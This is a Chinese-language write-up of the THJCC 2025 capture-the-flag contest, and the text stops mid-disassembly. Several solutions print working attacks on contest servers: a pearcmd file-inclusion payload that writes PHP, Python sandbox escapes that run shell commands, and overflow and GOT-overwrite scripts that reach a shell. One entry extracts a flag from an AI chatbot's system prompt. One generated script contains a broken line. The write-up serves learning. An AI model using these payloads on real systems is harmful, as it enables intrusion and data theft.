# THJCC 2025 WriteUp ## WarmUp ### Welcome ![image](https://hackmd.io/_uploads/HkUAKrSkxe.png) ### beep boop beep boop Binary to Text (ASCII) ### Discord Challenge AI 被下的 system prompt 估計是管理員才能獲取到 Flag ![image](https://hackmd.io/_uploads/rJdmcBrJll.png) ## Web ### Headless GET / 能獲得 ![image](https://hackmd.io/_uploads/r1Qw9SSkex.png) 因此下一步進到 /robots.txt ![image](https://hackmd.io/_uploads/BJGY5BSyll.png) 發現一個 /hum4n-0nLy 的可疑 path,進去觀察 最後頁面中在發現了原始碼,看見了 /r0b07-0Nly-9e925dc2d11970c33393990e93664e9d 在 len(request.headers) <= 0 時才會回傳 flag ![image](https://hackmd.io/_uploads/HkPs5rS1xe.png) 最後直接用 nc GET 了網頁,就能取得 Flag 了 ![image](https://hackmd.io/_uploads/rk_4iHSklx.png) ### Nothing here 👀 看到網頁原始碼有奇怪的字串(enc),字尾 = 透露可能是 base64,直接丟去解碼 ![image](https://hackmd.io/_uploads/rydPsBr1ll.png) ``` >>> base64.b64decode("VEhKQ0N7aDR2ZV9mNW5fMW5fYjRieV93M2JfYTUxNjFjYzIyYWYyYWIyMH0=") b'THJCC{h4ve_f5n_1n_b4by_w3b_a5161cc22af2ab20}' ``` ### APPL3 STOR3🍎 點進去看到 buy 頁面,在 DevTool 看見頁面使用 Cookie 明文紀錄購買的產品及售價,把售價更改成 0 即可成功購買 發現購買成功但沒 Flag 後看見 ID 為數字,於是開始試試附近的數字,85, 86, 87... 中,要的 ID 為 87 ![image](https://hackmd.io/_uploads/SJ7pnSHJll.png) ### Lime Ranger ~~看了半天才看到右下角有個「查看源碼」按鈕~~ 發現 bonus_code 是把 query 做 unserialize 後把 key 跟 數值加到玩家 inventory 裡面 ![image](https://hackmd.io/_uploads/ryfbaBB1lx.png) 拿到 Flag 的條件為擁有 UR, SR 總合數量 >= 10 ![image](https://hackmd.io/_uploads/SkaFTBSklg.png) 故構造一個 payload 讓程式讀 query 做 unserialize 是一個陣列,把數值加到 inventory 的 UR, SR 裡面 ![image](https://hackmd.io/_uploads/SJUJRBr1gg.png) ![image](https://hackmd.io/_uploads/ByMgAHHyex.png) ### proxy | under_development 以前做過類似的 Proxy 題目(雖然是 PHP) - 鎖 https:// 及 http:// - 預設 host 格式 - DNS 解析 -> 172.32.0.20 即不接受 Proxy ![image](https://hackmd.io/_uploads/Hyi7RBS1lg.png) 發現協議少雙斜線在 JavaScript 會被自動補上 - 繞過 https:// 或 http:// ![image](https://hackmd.io/_uploads/B1HaRrSkgg.png) 以及通過詢問 AI 拿到可以使用 username@url 的格式 但之後沒用(可能說不定中間測出來沒辦法),想到直接把後面當 path,於是 payload 的 host 就變成 `https:mydomain/` (用自己的 Domain 繞 DNS 解析,沒有 Domain 的話也可用 ngrok 等工具) 最後把 request 引入自己的伺服器候用 Location Header 轉發到 secret.flag.thjcc.tw/flag 即可看到 Flag ### i18n 看到變數 include 之後想起來之前所做過的題目 ![image](https://hackmd.io/_uploads/Sy0UeUHyxx.png) 通過 pearcmd.php 寫入 php 文件後,就可以用 `file_get_contents('/flag')` 就可以把內容顯示在網頁上面了 (因為瀏覽器會將符號編碼問題,可以使用 Burp Suite 發送請求) `GET /?+config-create+/&lang=../../../../../usr/local/lib/php/pearcmd&<?=file_get_contents("/flag")?>+/tmp/hello.php` 做 pearcmd config-create <字串> <文件位置> 將會在 <文件位置> 創建一個文件並寫入包含 <字串> 的字(準確來講是整個 argv) ![image](https://hackmd.io/_uploads/SJMQN8H1xl.png) 最後讓原本頁面 include 自己新增的 php 即可看到 flag ![image](https://hackmd.io/_uploads/B1anVIHkll.png) ## Misc ### network noise 亂碼中找 Flag ![image](https://hackmd.io/_uploads/S1-4WAB1el.png) ### Seems like someone’s breaking down😂 翻到最下面有一個登入成功的案例,但 password 顯然不是 Flag ``` >>> base64.b64decode("VEhKQ0N7ZmFrZWZsYWd9") b'THJCC{fakeflag}' ``` ![image](https://hackmd.io/_uploads/BJY8bArJge.png) 因此翻其他登入成功的案例,找到不同的 password ``` >>> base64.b64decode("VEhKQ0N7TDBnX0YwcjNONTFDNV8xc19FNDVZfQ==") b'THJCC{L0g_F0r3N51C5_1s_E45Y}' ``` ![image](https://hackmd.io/_uploads/SJ8gfCHkgg.png) ### Hidden in memory... 參考 [這篇](https://pingtrip.com/ctf/DEADFACE2021/windowpains2) 用 volatility 工具拉出來 Registry 的資料 先用 hivelist 指令找出來註冊表 `\REGISTRY\MACHINE\SYSTEM` 在記憶體的偏移量 ``` vol -f memdump.dmp hivelist Volatility 3 Framework 2.11.0 Progress: 100.00 PDB scanning finished Offset FileFullPath File output 0xd80b47676000 Disabled 0xd80b4768d000 \REGISTRY\MACHINE\SYSTEM Disabled 0xd80b47731000 \REGISTRY\MACHINE\HARDWARE Disabled 0xd80b4a17e000 \Device\HarddiskVolume1\EFI\Microsoft\Boot\BCD Disabled 0xd80b4a040000 \SystemRoot\System32\Config\SOFTWARE Disabled 0xd80b4acbe000 \SystemRoot\System32\Config\DEFAULT Disabled 0xd80b4ae03000 \SystemRoot\System32\Config\SECURITY Disabled 0xd80b4ae77000 \SystemRoot\System32\Config\SAM Disabled 0xd80b4af90000 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT Disabled 0xd80b4b0b1000 \SystemRoot\System32\Config\BBI Disabled 0xd80b4b114000 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT Disabled 0xd80b4b6b8000 \??\C:\Users\WH3R3-Y0U-G3TM3\ntuser.dat Disabled 0xd80b4b706000 \??\C:\Users\WH3R3-Y0U-G3TM3\AppData\Local\Microsoft\Windows\UsrClass.dat Disabled 0xd80b4c1df000 \??\C:\Windows\AppCompat\Programs\Amcache.hve Disabled 0xd80b4cd6a000 \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.StartMenuExperienceHost_10.0.19041.1023_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat Disabled 0xd80b4cd88000 \??\C:\Users\WH3R3-Y0U-G3TM3\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\Settings\settings.dat Disabled 0xd80b4cdd3000 \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.Search_1.14.9.19041_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat Disabled 0xd80b4ce8f000 \??\C:\Users\WH3R3-Y0U-G3TM3\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\Settings\settings.dat Disabled 0xd80b4df8f000 \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\ActivationStore.dat Disabled 0xd80b4ee8e000 \??\C:\Users\WH3R3-Y0U-G3TM3\AppData\Local\Packages\Microsoft.WindowsStore_8wekyb3d8bbwe\Settings\settings.dat Disabled 0xd80b4efdc000 \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\windows.immersivecontrolpanel_10.0.2.1000_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat Disabled ``` 之後用 windows.registry.printkey.PrintKey 指令來印出偏移量上面的註冊表資料,並加入 key 值過濾出想要的項目 ``` vol -f memdump.dmp windows.registry.printkey.PrintKey --offset 0xd80b4768d000 --key 'ControlSet001\Control\ComputerName\ComputerName' Volatility 3 Framework 2.11.0 Progress: 100.00 PDB scanning finished Last Write Time Hive Offset Type Key Name Data Volatile 2025-03-18 03:51:47.000000 UTC 0xd80b4768d000 REG_SZ \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\ComputerName\ComputerName (Default) "mnmsrvc" False 2025-03-18 03:51:47.000000 UTC 0xd80b4768d000 REG_SZ \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\ComputerName\ComputerName ComputerName "WH3R3-Y0U-G3TM3" False ``` Flag: THJCC{WH3R3-Y0U-G3TM3} ### Pyjail02 比 Pyjail01 還簡單的 02,做 NFKC 後還沒過濾字串,直接抓 `<class os.wrap_close>` 做 popen ``` > ().__class__.__base__.__subclasses__()[-8].__init__.__globals__['popen']('cat /flag.txt').read() THJCC{pYj41l_w17h_r3m0v3d_bu1l71n5_5ebd37c1} ``` ### Pyjail01 一開始被那個過濾器騙了,之後發現下面不是 eval 而是 exec 還有加 while True,可直接覆蓋原本的變數,代表可以覆蓋掉過濾器。 ``` > _='' > import os > os.system('cat /flag.txt') THJCC{3asy_pYj41l_w1th_bl0ck3d_4sc11_a77fb11f}> ``` ### There Is Nothing! 🏞️ 這張圖片有 100 > KB,但經過 ffmpeg 後重新編碼的圖片只有不到 10 KB,肯定是有某種資料藏在這檔案裏面。 過 binwalk 確定只有一張圖片 ``` (base) ubuntu@DESKTOP-PLBH64C:~$ binwalk nothing_here.jpg DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 JPEG image data, JFIF standard 1.02 ``` 從 HxD 看 FF D9 的位置也正常 ![image](https://hackmd.io/_uploads/B1uHw0Skge.png) 而且從可以 JEPG 藏字的地方找不到字 因此研判是圖片大小被修改了 照著這個[網頁](https://cyberhacktics.com/hiding-information-by-changing-an-images-height/)的教學即可修改圖片大小,找到 FF C0 標籤,後面會放圖片的長寬,因此把數字改大(寬不能改,圖片原本比例會跑掉)。 ![image](https://hackmd.io/_uploads/BJQ1_RSyll.png) ![image](https://hackmd.io/_uploads/ByBbO0S1xx.png) ![image](https://hackmd.io/_uploads/ryzr_Cr1gx.png) ## Pwn ### Flag Shopping 輸入點 `scanf("%d", &option);` 與 `scanf("%lld", &num);` 可判斷是否可購買是通過 `money < price[option]*(int)num` 且 `num >= 1` 才是給過的輸入。因此讓 num 輸入很大的數字讓 `price[option]` overflow 變成負數或任何其他 <= 100 的數字即可成功 ``` Welcome to the FLAG SHOP!!! =================================================== Which one would you like? (enter the serial number) 1. Coffee 2. Tea 3. Flag > 3 How many do you need? > 18 THJCC{W0w_U_R_G0oD_at_SHoPplng} ``` ### Money Overflow 輸入點 `gets(customer.name)` 明顯 overflow ``` struct { int id; char name[20]; unsigned short money; } customer; ``` customer.name 後面的記憶題即是 money 的記憶體 因此編寫腳本覆蓋掉 money 的記憶體數值變成 65535 ```python from pwn import * p = remote('chal.ctf.scint.org', 10001) p.sendline(b'A' * 20 + p32(0xffff)) p.interactive() ``` ``` [+] Opening connection to chal.ctf.scint.org on port 10001: Done [*] Switching to interactive mode Enter your name: 1) cake 100$ 2) bun 50$ 3) cookie 25$ 4) water 15$ 5) get shell 65535$ Your money : 65535$ Buy > $ 5 $ ls bin boot dev etc flag.txt home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var $ cat flag.txt THJCC{Y0uR_n@mE_I$_ToO_LoO0OOO00oO0000o0O00OoNG} ``` ### Insecure Shell 這題看了有點久才看到是邏輯問題,`check_password(password, buf, strlen(buf))` 用輸入的 buf 的長度 strlen(buf) 來驗證,且驗證是用 for 迴圈一個一個對照數值是否相等。 因此如果輸入的長度為 0 就會直接回報正確 ```python from pwn import * p = remote('chal.ctf.scint.org', 10004) p.sendline(chr(0x0)) p.interactive() ``` ``` [+] Opening connection to chal.ctf.scint.org on port 10004: Done /home/ubuntu/CTF/test.py:5: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes p.sendline(chr(0x0)) [*] Switching to interactive mode Enter the password >$ ls bin boot dev etc flag.txt home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var $ cat flag.txt THJCC{H0w_did_you_tyPE_\x00?} ``` ### Once 看見 `printf(buf)` 表示直接把用戶的輸入進 format,會有堆疊、寄存器洩漏的問題 ``` Guess the secret, you only have one chance guess >%1$p Your guess: 0x7ffc5bb2a0a0 Are you sure? [y/n] >n guess >%2$p Your guess: (nil) Are you sure? [y/n] >n guess >%3$p Your guess: 0x7fdbb4cb2887 Are you sure? [y/n] >n guess >%4$p Your guess: 0xc Are you sure? [y/n] >n guess >%5$p Your guess: 0xc Are you sure? [y/n] >n guess >%6$p Your guess: (nil) Are you sure? [y/n] >n guess >%7$p Your guess: 0xf6e000000 Are you sure? [y/n] >n guess >%8$p Your guess: 0x7b716276225c543b Are you sure? [y/n] >n guess >%9$p Your guess: 0x507b6c763c624c Are you sure? [y/n] >n guess >%10$p Your guess: 0x7024303125 Are you sure? [y/n] >n guess >%11$p Your guess: (nil) Are you sure? [y/n] >n guess > abc Your guess: abc Are you sure? [y/n] >y Incorrect answer Correct answer is ;T\"vbq{Lb<vl{P ``` 將 %7$p ~ %10$p 段進行解碼,即可看見密碼存在裡面的 8~9 段 ![image](https://hackmd.io/_uploads/BJLVZJUkxe.png) 因此 ``` Guess the secret, you only have one chance guess >%8$p Your guess: 0x65386d5b606a4823 Are you sure? [y/n] >n guess >%9$p Your guess: 0x317e79762b7867 Are you sure? [y/n] >n guess >#Hj`[m8egx+vy~1 Your guess: #Hj`[m8egx+vy~1 Are you sure? [y/n] >y Correct answer! ls bin boot dev etc flag.txt home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var cat flag.txt THJCC{d1dN'T_!_5@y_yoU_ON1Y_h4V3_oN3_cH@Nc3?} ``` ### Bank Clerk 本題丟到了 BinaryNinja 並把 assembly 結果丟給 DeepSeek,表示是覆蓋 .got 表的 sleep 換成 backdoor,但出來的 offset 是錯的 因此得自己找。 先找 accounts 的位置 ![image](https://hackmd.io/_uploads/Syg_Q1Iyex.png) 再找 .got 的位置 ![image](https://hackmd.io/_uploads/B1vzXJIkxx.png) `(0x4048 - 0x4080)/4 = -14` 因此要填入的 id 為 -14 之後找 .got 目前的位置以及目標指向的位置(backdoor) 目前位置指向 0x0090 ``` gdb-peda$ x/x 0x555555558048 0x555555558048 <sleep@got.plt>: 0x0000555555555090 gdb-peda$ p backdoor $2 = {<text variable, no debug info>} 0x555555555250 <backdoor> ``` 目標位置指向 0x555555555250 故 0x555555555250 - 0x555555555090 = 448 因此 amount 要輸入 448 結果: ``` Welcome to the bank! 1) deposit 2) withdraw Your choice> 1 id> -14 Enter the amount to deposit> 448 Deposited 448$ to account -14 1) deposit 2) withdraw Your choice> 2 id> 1 Enter the amount to withdraw> 1000000000 ERROR! Current balance: 0 ls bin boot dev etc flag.txt home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var cat flag.txt THJCC{p@R7!AL_R3lR0_witH_p!3??} ``` ## Crypto ### Twins p, q 為 p, p + 2 因此很容易被分解,通過 N + 1 = (p^2 + 2p + 1)可用 isqrt 直接解出 p + 1,因此直接得出 p, q。 用 AI 快速編寫腳本解 ```python import math from Crypto.Util.number import inverse, long_to_bytes N = 28265512785148668054687043164424479693022518403222612488086445701689124273153696780242227509530772578907204832839238806308349909883785833919803783017981782039457779890719524768882538916689390586069021017913449495843389734501636869534811161705302909526091341688003633952946690251723141803504236229676764434381120627728396492933432532477394686210236237307487092128430901017076078672141054391434391221235250617521040574175917928908260464932759768756492640542972712185979573153310617473732689834823878693765091574573705645787115368785993218863613417526550074647279387964173517578542035975778346299436470983976879797185599 e = 65537 C = 1234497647123308288391904075072934244007064896189041550178095227267495162612272877152882163571742252626259268589864910102423177510178752163223221459996160714504197888681222151502228992956903455786043319950053003932870663183361471018529120546317847198631213528937107950028181726193828290348098644533807726842037434372156999629613421312700151522193494400679327751356663646285177221717760901491000675090133898733612124353359435310509848314232331322850131928967606142771511767840453196223470254391920898879115092727661362178200356905669261193273062761808763579835188897788790062331610502780912517243068724827958000057923 # 计算k = sqrt(N + 1) n_plus_1 = N + 1 k = math.isqrt(n_plus_1) assert k * k == n_plus_1, "N+1不是完全平方数,请检查输入" p = k - 1 q = k + 1 # 计算φ(N) phi = (p - 1) * (q - 1) # 求模反元素d d = inverse(e, phi) # 解密得到明文 m = pow(C, d, N) # 转换为字节 flag = long_to_bytes(m).decode() print("Flag:", flag) ``` ### DAES 從原始碼可看見 DAES 是通過兩層的 AES-ECB 之後的結果。 因此可使用 Meet in the middle 快速解出兩層 key ```python #!/usr/bin/python3 from Crypto.Cipher import AES from secret import FLAG import random import os import signal TIMEOUT = 120 def timeout_handler(signum, frame): print("\nTime's up! No flag for u...") exit() signal.signal(signal.SIGALRM, timeout_handler) signal.alarm(TIMEOUT) target = os.urandom(16) keys = [b'whalekey:' + str(random.randrange(1000000, 1999999)).encode() for _ in range(2)] def enc(key, msg): ecb = AES.new(key, AES.MODE_ECB) return ecb.encrypt(msg) def daes(msg): tmp = enc(keys[0], msg) return enc(keys[1], tmp) test = b'you are my fire~' print(daes(test).hex()) print(daes(target).hex()) ans = input("Ans:") if ans == target.hex(): print(FLAG) else: print("Nah, no flag for u...") signal.alarm(0) ``` 因此編寫出解碼腳本 ```python from Crypto.Cipher import AES def enc(key, msg): ecb = AES.new(key, AES.MODE_ECB) return ecb.encrypt(msg) def dec(key, msg): ecb = AES.new(key, AES.MODE_ECB) return ecb.decrypt(msg) test = b'you are my fire~' test_enc = bytes.fromhex(input("test_enc: ")) target_enc = bytes.fromhex(input("target_enc: ")) keys = [b'whalekey:' + str(num).encode() for num in range(1000000, 1999999)] table = {} for key in keys: enc1 = enc(key, test) table[enc1] = key for key in keys: enc1 = dec(key, test_enc) if enc1 in table: key1 = table[enc1] key2 = key print(f"found key1, key2\n{key1=}\n{key2=}") print(f'Ans: {dec(key1, dec(key2, target_enc)).hex()}') ``` ``` 28cd8a052027afc2fbc9ef2ca70ad9b2 b839fa6aeab379c7c9570af6b7f4afb4 Ans:2d423b1b71ad08cb7cce295a7de08793 THJCC{see_u_again_in_the_middle} ``` ### Frequency Freakout 一般的頻率分析暴力解,直接丟進[這個網站](https://planetcalc.com/8047/)解密即可。 ![image](https://hackmd.io/_uploads/S10l6gLygl.png) ### SNAKE ~~一個懶得看可以直接丟去 AI 的加密~~ 展開來後的腳本 ```python SSSSS = input() x_list = [] result = '' for i in range(0, len(SSSSS) * 8, 4): x_list.append(''.join(f"{ord(c):08b}" for c in SSSSS)[i:i+4]) for x in x_list: result += "!@#$%^&*(){}[]:;"[int(x, 2)] print(result) ``` 因此可看出只要從 x_list 代表把所有 c(字元) 做 ord 之後每 4 bit 做一次切片的 List 只要從 result 求回 x_list 就可以直接做解碼 ```python # 這是你的映射字串 symbols = "!@#$%^&*(){}[]:;" # 輸入:你要解碼的符號字串 encoded = input("輸入編碼後的符號字串:") # 反查每個符號在原始字串中的索引值(轉為4位元二進位) bits = ''.join(f"{symbols.index(c):04b}" for c in encoded) # 每 8 位元還原成原始字元 original = ''.join(chr(int(bits[i:i+8], 2)) for i in range(0, len(bits), 8)) print("還原後的原始字串是:", original) ``` ``` Snakes are elongated limbless reptiles of the suborder Serpentes. Cladistically squamates, snakes are ectothermic, amniote vertebrates covered in overlapping scales much like other members of the group. Many species of snakes have skulls with several more joints than their lizard ancestors and relatives, enabling them to swallow prey much larger than their heads (cranial kinesis). To accommodate their narrow bodies, snakes' paired organs (such as kidneys) appear one in front of the other instead of side by side, and most only have one functional lung. Some species retain a pelvic girdle with a pair of vestigial claws on either side of the cloaca. Lizards have independently evolved elongate bodies without limbs or with greatly reduced limbs at least twenty-five times via convergent evolution, leading to many lineages of legless lizards. These resemble snakes, but several common groups of legless lizards have eyelids and external ears, which snakes lack, although this rule is not universal (see Amphisbaenia, Dibamidae, and Pygopodidae). blablabla Here is your flag: THJCC{SNAK3333333333333333} ``` ### Yoshino's Secret 先上原始碼 ```python #!/usr/bin/python3 from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad from secret import FLAG import json import os KEY = os.urandom(16) def encrypt(plaintext: bytes) -> bytes: iv = plaintext[:16] cipher = AES.new(KEY, AES.MODE_CBC, iv) return iv + cipher.encrypt(pad(plaintext[16:], AES.block_size)) def decrypt(ciphertext: bytes) -> str: iv = ciphertext[:16] cipher = AES.new(KEY, AES.MODE_CBC, iv) plaintext = unpad(cipher.decrypt(ciphertext[16:]), AES.block_size) return plaintext def check(token): try: token = bytes.fromhex(token) passkey = decrypt(token) data = json.loads(passkey) if data["admin"]: print(f"Here is your flag: {FLAG}") exit() else: print("Access Denied") except: print("Hacker detected, emergency shutdown of the system") exit() def main(): passkey = b'{"admin":false,"id":"TomotakeYoshino"}' token = encrypt(os.urandom(16) + passkey) print(f"token: {token.hex()}") while True: token = input("token > ") check(token) if __name__ == '__main__': main() ``` 可看出使用的加密法為 AES_CBC token 上面透露的加密的 iv 值,則通過修改 iv 可以修改到原本內文的解密結果。 用 DeepSeek 生成出來的腳本如下 ```python def generate_modified_token(original_token_hex): # 提取IV部分(前32个十六进制字符) iv_hex = original_token_hex[:32] cipher_part = original_token_hex[32:] # 将IV转换为字节数组以便修改 iv_bytes = bytearray(bytes.fromhex(iv_hex)) # 修改IV的特定字节,将"false"变为"true" # 计算异或差值:f->t, a->r, l->u, s->e iv_bytes[9] ^= 0x12 # f(0x66) ^ 0x12 = t(0x74) iv_bytes[10] ^= 0x13 # a(0x61) ^ 0x13 = r(0x72) iv_bytes[11] ^= 0x19 # l(0x6c) ^ 0x19 = u(0x75) iv_bytes[12] ^= 0x16 # s(0x73) ^ 0x16 = e(0x65) iv_bytes[13] ^= 0x # e(0x65) ^ 0x45 = ' '(0x20) # 构建新的token new_iv_hex = iv_bytes.hex() new_token = new_iv_hex + cipher_part return new_token # 示例用法: original_token = "这里填入服务器返回的token十六进制字符串" modified_token = generate_modified_token(original_token) print("提交的token应为:", modified_token) ``` ``` token: 0b307eeb5cefb14dc721ca7dbbb1cd7300468955eb90c8f85ef54f4acbc4fc211cd7757d88d77684abd5584893acb40ef9a82e293766a5a95984347821c43565 token > 0b307eeb5cefb14dc733d964adf4cd7300468955eb90c8f85ef54f4acbc4fc211cd7757d88d77684abd5584893acb40ef9a82e293766a5a95984347821c43565 Here is your flag: b"THJCC{F1iP_Ou7_y0$Hino's_53Cr3t}" Hacker detected, emergency shutdown of the system ``` ### Speeded Block Cipher ## Reverse ### 西 從原代碼裡面看到一串 hex 看到簡單提先通靈 XOR 直接放 CyberChef 用 XOR Brute Force ![image](https://hackmd.io/_uploads/r1gJnZ8kxe.png) ### time_GEM 放 BinaryNinja 看到每次輸出都會經過 sleep 很長一段時間,直接用 patch 弄成 nop 取消等待之後 Save as 檔案拿去執行即可 ![image](https://hackmd.io/_uploads/HkEwh-I1lx.png) ``` I used the Time GEM to put the flag to sleep... Hope you can wake it up! ------------------------------splitline!----------------------------------- T H J C C { H 0 w _ I _ e n V Y _ 4 N d _ W 1 5 H _ r e 4 L 1 7 Y _ k 0 u L d _ 4 L 5 0 _ k 0 N 7 R 0 l _ T I M E - - > = . = ! ! ! } ``` ### Python Hunter 🐍 看到 .pyc 直接丟 [https://pylingual.io/](網頁反編譯) ```python # Decompiled with PyLingual (https://pylingual.io) # Internal filename: hunter.py # Bytecode version: 3.8.0rc1+ (3413) # Source timestamp: 2025-03-24 11:52:35 UTC (1742817155) import sys as s def qwe(abc, xyz): r = [] l = len(xyz) for i in range(len(abc)): t = chr(abc[i] ^ ord(xyz[i % l])) r.append(t) return ''.join(r) d = [48, 39, 37, 49, 28, 16, 82, 17, 87, 13, 92, 71, 104, 52, 21, 0, 83, 7, 95, 28, 55, 30, 11, 78, 87, 29, 18] k = 'door_key' m = 'not_a_key' def asd(p): u = 42 v = qwe(d, k) w = qwe(d, p) if w == v: print(f'Correct! {v}') else: print('Wrong!') def dummy(): return len(d) * 2 - 1 if __name__ == '__main__': if len(s.argv) > 1: asd(s.argv[1]) else: print('Please provide a key as an argument.') dummy() ``` d 與 k 做 XOR 即 Correct 則 ![image](https://hackmd.io/_uploads/HkUYTWU1xx.png) ### Flag Checker ~~抱歉我很懶得看很長又已經被編譯過的編碼 所以這題也是丟 DeepSeek 處理~~ ```Python def rol(n, shift, bits=8): shift %= bits return ((n << shift) | (n >> (bits - shift))) & ((1 << bits) - 1) def ror(n, shift, bits=8): shift %= bits return ((n >> shift) | (n << (bits - shift)) & ((1 << bits) - 1)) data_4020 = [ 0xfa, 0xc5, 0x81, 0x50, 0x9b, 0x75, 0x72, 0x6d, 0xa5, 0xb5, 0x100, 0xd1, 0x171, 0x1c1, 0x160, 0x13b, 0x163, 0x1a2, 0xf7, 0x167, 0x184, 0x155, 0x174, 0x121, 0xd1, 0x8d, 0x80, 0x181, 0x174, 0x1dd, 0x50, 0x00, 0x50 ] processed = [] for i in range(0, 30, 3): a_plus_b = data_4020[i] b_plus_c = data_4020[i+1] a_plus_c = data_4020[i+2] a = (a_plus_b + a_plus_c - b_plus_c) // 2 b = a_plus_b - a c = a_plus_c - a processed.extend([a, b, c]) flag = [] for i, c in enumerate(processed): reversed_c = c ^ 0xf reversed_c = ror(reversed_c, i % 8) flag.append(reversed_c) print(''.join(chr(b) for b in flag)) ``` 結果自己補上 } 之後就對了 ``` THJCC{i$_&_0x7_equaL_to_m0D_8? ``` ### Noo dle 從 encrypt 知道加密方式單純使用在一個 byte 裡面做 bit 映射後的結果 由 expand 做 bit 的展開 之後在做一個 byte 內的 bit swap 最後在用 compress 把 bit 陣列壓縮回 byte ![image](https://hackmd.io/_uploads/r1IUidqyge.png) 所以可以編寫腳本把 hex 通過每個 byte 內相同的 bit 映射回原本的資料 ~~然後我就找不到映射順序了~~ 之後選擇直接尋所有的排列組合 ```python import itertools for a, b, c, d, f, g, h, i in list(itertools.permutations([1, 2, 3, 4, 5, 6, 7, 8])): def decrypt_byte(e): b0 = (e >> a) & 1 b1 = (e >> b) & 1 b2 = (e >> c) & 1 b3 = (e >> d) & 1 b4 = (e >> f) & 1 b5 = (e >> g) & 1 b6 = (e >> h) & 1 b7 = (e >> i) & 1 return (b0 << 7) | (b1 << 6) | (b2 << 5) | (b3 << 4) | (b4 << 3) | (b5 << 2) | (b6 << 1) | b7 encrypted_hex = "2a48589898decafcaefa98087cfa58ae9e2afa1c1aaa2e96fa38061a9ca8fa182ebeee" encrypted_bytes = bytes.fromhex(encrypted_hex) decrypted_bytes = bytes([decrypt_byte(b) for b in encrypted_bytes]) if b'THJCC' in decrypted_bytes: print(decrypted_bytes) ``` ``` b'THJCC\xdbY\xcf\xd5_C@\xce_J\xd5\xd3T_\xc2RU\xd4\x93_F\x90R\xc3E_B\xd4\xd7\xdd' b'THJCC\xcfM\xdb\xd5_C@\xda_J\xd5\xc7T_\xc2FU\xd4\x87_R\x84F\xc3Q_B\xd4\xd7\xdd' b'THJCC{You_C@n_JusT_bRUt3_F0RcE_Btw}' <- flag b"THJCCoM{u_C@z_JugT_bFUt'_R$FcQ_Btw}" ``` ### Empty 從逆向看出來這個程式沒有 main 函數,但在執行時仍然能夠正常跑 從 _start 區可看見正在執行某種 XOR 的操作,因此猜測是在 _start 時就會從一個 byte 開始一步一步 xor 出整個 main 的程式 而開始使用 gdb 的 ni 指令跳過這整個流程,之後實測出來約是使用 ni 1600 左右就能直接跳到主程式執行區 之後就能夠通過 disassemble 挖出來整個函式的反彙編 ``` 0x0000555555555064: push rbp 0x0000555555555065: mov rbp,rsp 0x0000555555555068: sub rsp,0x30 0x000055555555506c: mov rax,QWORD PTR fs:0x28 0x0000555555555075: mov QWORD PTR [rbp-0x8],rax 0x0000555555555079: xor eax,eax 0x000055555555507b: mov QWORD PTR [rbp-0x20],0x0 0x0000555555555083: mov QWORD PTR [rbp-0x18],0x0 0x000055555555508b: mov BYTE PTR [rbp-0x10],0x0 0x000055555555508f: lea rax,[rip+0xf6a] # 0x555555556000 0x0000555555555096: mov rdi,rax 0x0000555555555099: mov eax,0x0 0x000055555555509e: call 0x555555555030 <printf@plt> 0x00005555555550a3: lea rax,[rbp-0x20] 0x00005555555550a7: mov rsi,rax 0x00005555555550aa: lea rax,[rip+0xf5b] # 0x55555555600c 0x00005555555550b1: mov rdi,rax 0x00005555555550b4: mov eax,0x0 0x00005555555550b9: call 0x555555555040 <__isoc99_scanf@plt> 0x00005555555550be: mov DWORD PTR [rbp-0x28],0x0 0x00005555555550c5: jmp 0x555555555107 0x00005555555550c7: mov eax,DWORD PTR [rbp-0x28] 0x00005555555550ca: cdqe 0x00005555555550cc: movzx eax,BYTE PTR [rbp+rax*1-0x20] 0x00005555555550d1: xor eax,0xffffffab 0x00005555555550d4: mov ecx,eax 0x00005555555550d6: mov eax,DWORD PTR [rbp-0x28] 0x00005555555550d9: cdqe 0x00005555555550db: lea rdx,[rip+0x2f1e] # 0x555555558000 0x00005555555550e2: movzx eax,BYTE PTR [rax+rdx*1] 0x00005555555550e6: cmp cl,al 0x00005555555550e8: je 0x555555555103 0x00005555555550ea: lea rax,[rip+0xf20] # 0x555555556011 0x00005555555550f1: mov rdi,rax 0x00005555555550f4: call 0x555555555010 <puts@plt> 0x00005555555550f9: mov edi,0x0 0x00005555555550fe: call 0x555555555050 <exit@plt> 0x0000555555555103: add DWORD PTR [rbp-0x28],0x1 0x0000555555555107: cmp DWORD PTR [rbp-0x28],0xf 0x000055555555510b: jle 0x5555555550c7 0x000055555555510d: lea rax,[rip+0xf04] # 0x555555556018 0x0000555555555114: mov rdi,rax 0x0000555555555117: call 0x555555555010 <puts@plt> 0x000055555555511c: mov DWORD PTR [rbp-0x24],0x0 0x0000555555555123: jmp 0x55555555515f 0x0000555555555125: mov eax,DWORD PTR [rbp-0x24] 0x0000555555555128: cdqe 0x000055555555512a: lea rdx,[rip+0x2eef] # 0x555555558020 0x0000555555555131: movzx ecx,BYTE PTR [rax+rdx*1] 0x0000555555555135: mov eax,DWORD PTR [rbp-0x24] 0x0000555555555138: cdq 0x0000555555555139: shr edx,0x1c 0x000055555555513c: add eax,edx 0x000055555555513e: and eax,0xf 0x0000555555555141: sub eax,edx 0x0000555555555143: cdqe 0x0000555555555145: movzx eax,BYTE PTR [rbp+rax*1-0x20] 